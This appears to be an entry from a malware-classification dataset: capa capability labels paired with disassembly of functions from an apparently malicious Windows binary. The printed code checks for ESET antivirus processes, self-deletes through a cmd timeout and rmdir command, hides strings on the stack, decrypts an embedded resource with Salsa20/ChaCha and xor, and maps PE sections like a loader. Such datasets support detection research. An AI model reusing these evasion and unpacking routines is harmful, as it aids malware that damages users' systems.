joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4023b8
Capabilities:
Enumerate processes

Disassembly:
push ebp
sub esp, 0x144
lea ebp, [esp - 4]
mov eax, dword [0x41e1c4]
xor eax, ebp
mov dword [ebp + 0x144], eax
push 0x28
mov eax, 0x41891a
call fcn.004095dc
xor ebx, ebx
push ebx
push 2
mov byte [ebp - 0xd], bl
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x402416
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x144]
xor ecx, ebp
call fcn.004095cd
add ebp, 0x148
leave
ret
lea ecx, [ebp]
push ecx
push eax
mov dword [ebp], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x402438
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
jmp 0x4023f3
lea eax, [ebp + 0x24]
push str.egui.exe
push eax
call fcn.004098b2
pop ecx
pop ecx
test eax, eax
je 0x402460
lea eax, [ebp + 0x24]
push str.ekrn.exe
push eax
call fcn.004098b2
pop ecx
pop ecx
test eax, eax
jne 0x402464
mov byte [ebp - 0xd], 1
lea eax, [ebp + 0x24]
push eax
lea ecx, [ebp + 0x128]
call fcn.00401dab
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp + 0x128]
mov dword [ebp - 4], ebx
call fcn.00402305
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp + 0x128]
call fcn.00402325
mov edi, eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp + 0x128]
call fcn.00402305
push fcn.00409a92
push dword [esi + 4]
push dword [esi]
push dword [edi + 4]
push dword [edi]
push dword [eax + 4]
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.00402387
add esp, 0x20
push ebx
push str.esetonlinescaner
lea ecx, [ebp + 0x128]
call fcn.00402266
test eax, eax
jne 0x4024e0
mov byte [ebp - 0xd], 1
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp + 0x128]
call fcn.004018a2
lea eax, [ebp]
push eax
push dword [ebp - 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402438
mov bl, byte [ebp - 0xd]
jmp 0x40242b
Function at 0x40281b
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd38
mov eax, dword [0x41e1c4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x104
lea eax, [ebp - 0x138]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4028ea
push ebx
push esi
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov esi, 0x400
push esi
lea eax, [ebp - 0x538]
push edi
push eax
call fcn.00408f80
mov ebx, 0x800
push ebx
lea eax, [ebp - 0xd38]
push edi
push eax
call fcn.00408f80
add esp, 0x18
push esi
lea eax, [ebp - 0x538]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4028e8
push 0xb
pop ecx
mov esi, str._d__c_timeout_5__cmd__d__c_rmdir__s__q___s_
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xd38]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.004096e6
add esp, 0x10
xor eax, eax
push eax
push eax
lea ecx, [ebp - 0xd38]
push ecx
lea ecx, [ebp - 0x538]
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.004095cd
leave
ret
Function at 0x402a61
Capabilities:
Delete directory
Delete file
Get common file path
Get program files directory
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xc90]
sub esp, 0xd10
mov eax, dword [0x41e1c4]
xor eax, ebp
mov dword [ebp + 0xc8c], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp + 0xb89]
push ebx
push eax
mov byte [ebp + 0xb88], bl
call fcn.00408f80
mov esi, 0x3ff
push esi
lea eax, [ebp + 0x789]
push ebx
push eax
mov byte [ebp + 0x788], bl
call fcn.00408f80
push esi
lea eax, [ebp + 0x389]
push ebx
push eax
mov byte [ebp + 0x388], bl
call fcn.00408f80
push esi
lea eax, [ebp - 0x77]
push ebx
push eax
mov byte [ebp - 0x78], bl
call fcn.00408f80
lea eax, [ebp - 0x7c]
push eax
call fcn.00409fe7
mov eax, dword [ebp - 0x7c]
push 5
pop edi
xor edx, edx
mov ecx, edi
div ecx
lea eax, [ebp + 0x788]
add edx, edi
push edx
push eax
call fcn.00406286
add esp, 0x3c
push ebx
push 0x2a
lea eax, [ebp + 0xb88]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp + 0x788]
push eax
lea eax, [ebp + 0xb88]
push eax
mov esi, str._s_s
lea eax, [ebp + 0x388]
push esi
push eax
call fcn.00402a46
mov eax, dword [ebp - 0x7c]
xor edx, edx
mov ecx, edi
div ecx
lea eax, [ebp + 0x788]
add edx, edi
push edx
push eax
call fcn.00406286
lea eax, [ebp + 0x788]
push eax
lea eax, [ebp + 0x388]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00402a46
add esp, 0x28
push 0x32
pop edi
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0x1e
cmp esi, 0xffffffff
je 0x402bb0
lea eax, [ebp + 0x788]
push eax
call fcn.00406286
pop ecx
pop ecx
push ebx
lea eax, [ebp - 0x80]
push eax
push 0x1e
lea eax, [ebp + 0x788]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402bcd
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 0x388]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
dec edi
jne 0x402b62
mov ecx, dword [ebp + 0xc8c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004095cd
add ebp, 0xc90
leave
ret
Function at 0x40336c
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions

Disassembly:
push ebp
sub esp, 0x764
lea ebp, [esp - 4]
mov eax, dword [0x41e1c4]
xor eax, ebp
mov dword [ebp + 0x764], eax
push 8
mov eax, 0x418968
call fcn.004095dc
movzx eax, word [ebp + 0x774]
push 0x419600
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, esi
jne 0x4033b3
xor al, al
jmp 0x40356e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x4033ac
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
cmp ebx, esi
je 0x4033ac
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x80
mov edi, eax
lea eax, [ebp + 0x6e4]
push esi
push eax
call fcn.00408f80
add esp, 0xc
lea eax, [ebp + 0x6e4]
push eax
lea ecx, [ebp + 0x6c8]
mov byte [ebp + 0x6e4], 0x30
mov byte [ebp + 0x6f6], 0x33
mov byte [ebp + 0x6ea], 0x61
mov byte [ebp + 0x6fe], 0x66
mov byte [ebp + 0x6f7], 0x31
mov byte [ebp + 0x6f2], 0x62
mov byte [ebp + 0x6ef], 0x32
mov byte [ebp + 0x701], 0x30
mov byte [ebp + 0x6fd], 0x62
mov byte [ebp + 0x6fb], 0x39
mov byte [ebp + 0x6e8], 0x30
mov byte [ebp + 0x700], 0x35
mov byte [ebp + 0x6f9], 0x65
mov byte [ebp + 0x6f1], 0x35
mov byte [ebp + 0x6ec], 0x63
mov byte [ebp + 0x6e5], 0x37
mov byte [ebp + 0x6e7], 0x63
mov byte [ebp + 0x6f0], 0x35
mov byte [ebp + 0x6eb], 0x62
mov byte [ebp + 0x6ed], 0x32
mov byte [ebp + 0x703], 0x63
mov byte [ebp + 0x6f4], 0x31
mov byte [ebp + 0x6e9], 0x36
mov byte [ebp + 0x6e6], 0x62
mov byte [ebp + 0x6ee], 0x64
mov byte [ebp + 0x6f8], 0x36
mov byte [ebp + 0x6fc], 0x32
mov byte [ebp + 0x6fa], 0x63
mov byte [ebp + 0x6ff], 0x32
mov byte [ebp + 0x6f5], 0x35
mov byte [ebp + 0x6f3], 0x63
mov byte [ebp + 0x702], 0x61
call fcn.00401dab
cmp dword [ebp + 0x6e0], 0x10
mov eax, dword [ebp + 0x6cc]
mov dword [ebp - 4], esi
jae 0x4034f5
lea eax, [ebp + 0x6cc]
push eax
push edi
push ebx
lea ecx, [ebp]
call fcn.00405e42
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
lea ecx, [ebp]
call fcn.00405f4e
lea ecx, [ebp]
call fcn.00405e9c
mov eax, dword [ebp - 0x14]
push eax
mov dword [0x41f558], eax
call fcn.0040887a
mov ecx, dword [0x41f558]
push ecx
push dword [ebp - 0x10]
mov dword [0x41f55c], eax
push ecx
push eax
call fcn.00408e9d
push dword [0x41f558]
push dword [0x41f55c]
call fcn.00405c1d
push dword [ebp - 0x10]
mov dword [0x41f560], eax
call fcn.00408d65
add esp, 0x20
push esi
push 1
lea ecx, [ebp + 0x6c8]
call fcn.004018a2
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x764]
xor ecx, ebp
call fcn.004095cd
add ebp, 0x768
leave
ret
Function at 0x404a36
Capabilities:
Hash data with md5

Disassembly:
and dword [ecx + 0x14], 0
and dword [ecx + 0x10], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret

Function at 0x40533a
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [edi + 4]
and dword [ebp - 8], 0
mov dword [ebp - 4], eax
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
push ebx
push esi
lea esi, [ecx + eax + 0x18]
xor ecx, ecx
cmp cx, word [eax + 6]
jae 0x405404
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x4053a4
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x4053ef
push dword [edi + 0x34]
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push ebx
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x40540b
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push ebx
push 0
push eax
mov dword [esi - 8], eax
call fcn.00408f80
jmp 0x4053ec
mov ecx, dword [esi + 4]
add ecx, eax
mov eax, dword [ebp + 0xc]
push ecx
call fcn.00405325
pop ecx
test eax, eax
je 0x40540b
push dword [edi + 0x34]
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push dword [esi]
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x40540b
mov eax, dword [esi + 4]
push dword [esi]
mov ebx, dword [esi - 4]
add eax, dword [ebp + 8]
add ebx, dword [ebp - 4]
push eax
push ebx
call fcn.00408a00
mov dword [esi - 8], ebx
add esp, 0xc
mov eax, dword [edi]
movzx eax, word [eax + 6]
inc dword [ebp - 8]
add esi, 0x28
cmp dword [ebp - 8], eax
jl 0x405364
xor eax, eax
inc eax
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x405407
Function at 0x405c49
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x6bc]
test eax, eax
je 0x405c69
mov ecx, 0xb0
push ecx
push eax
push ecx
push esi
call fcn.00408e9d
add esp, 0x10
pop esi
ret
push edi
push 0
lea edi, [esi + 0x6c4]
push 0
push dword [edi]
call fcn.0040ae72
push dword [edi]
push 1
push 0xb0
push esi
call fcn.0040b197
add esp, 0x1c
pop edi
pop esi
ret

Function at 0x405c90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov ecx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x10
pop edx
sub ecx, edi
push ebx
mov dword [ebp - 0x30], 0xc840
mov dword [ebp - 0x2c], 0xd951
mov dword [ebp - 0x28], 0xea62
mov dword [ebp - 0x24], 0xfb73
mov dword [ebp - 0x20], 0xfa50
mov dword [ebp - 0x1c], 0xcb61
mov dword [ebp - 0x18], 0xd872
mov dword [ebp - 0x14], 0xe943
mov eax, edi
mov dword [ebp - 0x10], ecx
push esi
mov esi, dword [ecx + eax]
mov dword [eax], esi
add eax, 4
dec edx
jne 0x405ce1
and dword [ebp - 4], edx
mov eax, dword [ebp - 4]
and eax, 7
mov esi, dword [ebp + eax*4 - 0x30]
mov ecx, esi
mov eax, esi
shr ecx, 8
mov edx, esi
shr eax, 4
and ecx, 0xf
and edx, 0xf
and eax, 0xf
mov dword [ebp - 8], ecx
shr esi, 0xc
mov dword [ebp + 8], 0x19181410
mov ecx, dword [edi + eax*4]
add dword [edi + edx*4], ecx
mov ebx, dword [edi + edx*4]
mov edi, dword [edi + esi*4]
movzx ecx, byte [ebp + 8]
shr dword [ebp + 8], 8
xor edi, ebx
ror edi, cl
cmp dword [ebp + 8], 0
mov ecx, edi
mov edi, dword [ebp + 0xc]
mov dword [edi + esi*4], ecx
mov ecx, edx
mov edx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov ecx, eax
mov eax, esi
mov esi, ecx
jne 0x405d1b
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x50
jb 0x405cef
push 0x10
pop eax
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [edi + ecx]
add dword [edi], ecx
add edi, 4
dec eax
jne 0x405d5d
pop edi
leave
ret 8

Function at 0x405d70
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x3320646e
mov dword [eax + 8], 0x79622d32
mov dword [eax + 0xc], 0x6b206574
xor edx, edx
lea ecx, [eax + 0x10]
push esi
mov esi, dword [esp + 0xc]
mov esi, dword [esi + edx*4]
mov dword [ecx], esi
inc edx
add ecx, 4
cmp edx, 8
jl 0x405d95
and dword [eax + 0x30], 0
and dword [eax + 0x34], 0
xor ecx, ecx
add eax, 0x38
pop esi
mov edx, dword [esp + 0xc]
mov edx, dword [edx + ecx*4]
mov dword [eax], edx
inc ecx
add eax, 4
cmp ecx, 2
jl 0x405db5
ret 0xc
Function at 0x405dca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x41e1c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], eax
test ebx, ebx
je 0x405e32
push edi
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.00405c90
add dword [esi + 0x30], 1
push 0x40
pop edi
adc dword [esi + 0x34], 0
cmp ebx, edi
ja 0x405e12
mov edi, ebx
test ebx, ebx
jbe 0x405e28
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x44]
sub ecx, eax
mov dword [ebp - 0x4c], edi
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec dword [ebp - 0x4c]
jne 0x405e1d
add dword [ebp - 0x48], edi
sub ebx, edi
test ebx, ebx
jne 0x405df0
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004095cd
leave
ret 0xc

Function at 0x405f4e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov edx, dword [esi + 0x6bc]
push edi
test edx, edx
je 0x405f88
mov ecx, dword [ebp + 8]
mov eax, dword [esi + ecx*8 + 0x30]
mov edi, dword [esi + ecx*8 + 0x34]
add eax, edx
push edi
mov dword [ebp + 8], eax
call fcn.0040887a
push edi
push dword [ebp + 8]
mov ebx, eax
push edi
push ebx
call fcn.00408e9d
add esp, 0x14
jmp 0x405fba
mov edi, dword [ebp + 8]
push 0
push dword [esi + edi*8 + 0x30]
push dword [esi + 0x6c4]
call fcn.0040ae72
mov edi, dword [esi + edi*8 + 0x34]
push edi
call fcn.0040887a
push dword [esi + 0x6c4]
mov ebx, eax
push 1
push edi
push ebx
call fcn.0040b197
add esp, 0x20
xor eax, eax
test edi, edi
jbe 0x405fd9
mov dl, byte [ebx + eax]
mov ecx, eax
shr ecx, 1
add ecx, ebx
mov byte [ecx], dl
mov dl, byte [ebx + eax + 1]
add eax, 4
mov byte [ecx + 1], dl
cmp eax, edi
jb 0x405fc0
push edi
push ebx
lea eax, [esi + 0x2bc]
push eax
mov ecx, esi
call fcn.00405ec8
mov esi, edi
shr esi, 1
sub esi, 8
push esi
mov dword [ebp + 8], eax
call fcn.0040887a
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push esi
lea ecx, [ebx + 8]
push ecx
push esi
push eax
call fcn.00408e9d
mov eax, dword [ebp + 0x10]
add esp, 0x14
mov dword [eax], esi
mov ecx, edi
mov eax, ebx
test edi, edi
je 0x406021
mov byte [eax], 0
inc eax
dec ecx
jne 0x40601a
push ebx
call fcn.00408d65
mov eax, dword [ebp + 8]
pop ecx
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x406629
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x24], 0x10
mov dword [ebp - 4], edi
jae 0x406645
lea ecx, [ebp + 0x10]
lea edx, [ebp - 8]
push edx
push 0x20019
push edi
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406682
cmp dword [ebp + 0x40], 0x10
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0xc], 4
jae 0x40666e
lea eax, [ebp + 0x2c]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 4]
push ecx
push edi
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 4]
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018a2
push edi
push 1
lea ecx, [ebp + 0x28]
call fcn.004018a2
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x406e4b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x458
mov eax, 0x418b46
call fcn.00409645
mov esi, ecx
mov dword [ebp - 0x42c], esi
call fcn.00401a3e
xor ebx, ebx
lea ecx, [esi + 0x20]
mov dword [ebp - 4], ebx
call fcn.00401a3e
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
mov byte [ebp - 4], 1
mov byte [esi + 0x1c], bl
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x28], 0x4e
mov byte [ebp - 0x25], 0x53
mov byte [ebp - 0x1c], 0x4d
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x15], 0x29
mov byte [ebp - 0x1d], 0x28
mov byte [ebp - 0x1e], 0x20
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x24], 0x5f
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x49
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1a], 0x7a
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x16], 0x61
call fcn.00401c33
lea eax, [ebp - 0x464]
push 0x419b24
push eax
call fcn.00408762
mov edi, eax
lea eax, [ebp - 0x448]
push 0x419aa8
push eax
mov byte [ebp - 4], 2
call fcn.00408762
add esp, 0x10
cmp dword [edi + 0x18], 0x10
jb 0x406f15
mov edi, dword [edi + 4]
jmp 0x406f18
add edi, 4
cmp dword [eax + 0x18], 0x10
jb 0x406f23
mov eax, dword [eax + 4]
jmp 0x406f26
add eax, 4
push edi
push eax
lea eax, [ebp - 0x428]
push 0x400
push eax
call fcn.004096e6
add esp, 0x10
push ebx
push 1
lea ecx, [ebp - 0x448]
call fcn.004018a2
push ebx
push 1
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 1
call fcn.004018a2
lea eax, [ebp - 0x428]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406f65
sub eax, edi
push eax
lea eax, [ebp - 0x428]
push eax
lea ecx, [esi + 0x20]
call fcn.00401b9b
mov eax, esi
call fcn.004096c8
ret
Function at 0x4071dc
Capabilities:
Check http status code
Contain obfuscated stackstrings
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x41e1c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 1
push 0x50
sub esp, 0x1c
mov esi, ecx
lea eax, [ebp - 0x10]
xor ebx, ebx
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov byte [ebp - 0x11], bl
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 7], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 0xd], 0x67
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 6], bl
mov byte [ebp - 9], 0x63
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0x10], 0x67
mov byte [ebp - 0xf], 0x6f
call fcn.00401dab
mov ecx, esi
call fcn.004065bc
cmp byte [esi + 0x1c], bl
je 0x4072c7
lea eax, [ebp - 0x38]
push ebx
push eax
call fcn.00406f86
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x40725d
mov eax, dword [eax + 4]
jmp 0x407260
add eax, 4
push ebx
push ebx
push ebx
push ebx
push str.HTTP_1.0
push 0x419a9c
push eax
push dword [esi + 0x40]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push ebx
push 1
lea ecx, [ebp - 0x38]
mov edi, eax
call fcn.004018a2
cmp edi, ebx
je 0x4072c0
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x1c], 0xc8
jne 0x4072c0
mov byte [ebp - 0x11], 1
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.00406032
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x11]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004095cd
leave
ret
Function at 0x40761d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x5c
mov eax, 0x418c7a
call fcn.004095dc
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], 2
call fcn.00401a3e
cmp dword [ebp + 0x28], 0x10
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x34], 1
jae 0x407656
lea eax, [ebp + 0x14]
lea ecx, [ebp - 0x14]
push ecx
push 0x20019
push esi
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407753
lea ecx, [ebp - 0x30]
call fcn.00407570
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
cmp dword [ebp + 0x44], 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x30]
mov byte [ebp - 4], 3
jae 0x407691
lea eax, [ebp + 0x30]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x10]
push ecx
push esi
push esi
push esi
push eax
push dword [ebp - 0x14]
call edi
cmp eax, esi
jne 0x407742
push esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.0040759d
cmp dword [ebp + 0x44], 0x10
mov ebx, dword [ebp + 0x30]
jae 0x4076c4
lea ebx, [ebp + 0x30]
lea eax, [ebp - 0x10]
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.00406074
push eax
push esi
push esi
push ebx
push dword [ebp - 0x14]
call edi
cmp eax, esi
jne 0x407742
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
cmp eax, esi
jle 0x407742
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x44]
call fcn.00406457
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3c]
call fcn.00406457
push 1
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x44]
call fcn.00406522
push dword [eax + 4]
lea ecx, [ebp - 0x68]
push dword [eax]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00406a91
mov ecx, dword [ebp - 0x18]
push 0xffffffffffffffff
push esi
push eax
mov byte [ebp - 4], 4
call fcn.00401b09
push esi
push 1
lea ecx, [ebp - 0x68]
call fcn.004018a2
lea ecx, [ebp - 0x30]
call fcn.00406552
push dword [ebp - 0x30]
call fcn.00408e92
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push 1
lea ecx, [ebp + 0x10]
call fcn.004018a2
push esi
push 1
lea ecx, [ebp + 0x2c]
call fcn.004018a2
mov eax, dword [ebp - 0x18]
call fcn.004096b4
ret